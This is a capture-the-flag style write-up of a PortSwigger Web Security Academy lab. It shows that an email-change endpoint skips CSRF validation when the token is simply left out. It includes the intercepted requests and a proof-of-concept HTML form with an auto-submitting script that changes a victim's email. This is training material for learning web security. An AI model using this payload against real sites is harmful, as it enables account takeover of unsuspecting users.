Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type CSRF — Token Omission Bypass
Difficulty Practitioner
Target 0ad9001003c420d58026031800e0004b.web-security-academy.net
Objective Change the victim's email address by bypassing CSRF token validation

CSRF where token validation depends on token being present — Writeup


Initial Observation

Logged in as wiener:peter. Account page:

My Account

Your username is: wiener
Your email is: [email protected]
Screenshot

Web — Email Change Request Analysis

Intercepting the email update:

Screenshot
POST /my-account/change-email HTTP/2
[email protected]&csrf=sTxyjDHFlBmckSIMQLaNFUE3xagxu8Fr

CSRF token is present. Inspecting the form source confirms it comes from a hidden input:

<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
    <label>Email</label>
    <input required="" type="email" name="email" value="">
    <input required="" type="hidden" name="csrf" value="sTxyjDHFlBmckSIMQLaNFUE3xagxu8Fr">
    <button class="button" type="submit"> Update email </button>
</form>
Screenshot

Testing what happens when the token is stripped from the request entirely:

POST /my-account/change-email HTTP/2
[email protected]

302 Found — the email change went through. The server doesn't reject requests where the token is absent — it only validates the token when it's actually submitted. That's the bypass: don't send it at all.


Building the PoC — Token Omission

Crafting a form identical to the original but with the CSRF hidden input removed:

<form class="login-form" name="change-email-form" action="https://0ad9001003c420d58026031800e0004b.web-security-academy.net/my-account/change-email" method="POST">
    <label>Email</label>
    <input required="" type="email" name="email" value="[email protected]">
</form>

<script>
    document.forms[0].submit();
</script>

Storing it on the exploit server and viewing the exploit while logged in as wiener — email changes to [email protected]:

Screenshot
Screenshot

Chain confirmed. Updating the target email to the attack address and delivering to the victim:

<form class="login-form" name="change-email-form" action="https://0ad9001003c420d58026031800e0004b.web-security-academy.net/my-account/change-email" method="POST">
    <label>Email</label>
    <input required="" type="email" name="email" value="[email protected]">
</form>

<script>
    document.forms[0].submit();
</script>
Screenshot

Lab solved. The victim's email is now [email protected] :P

Resources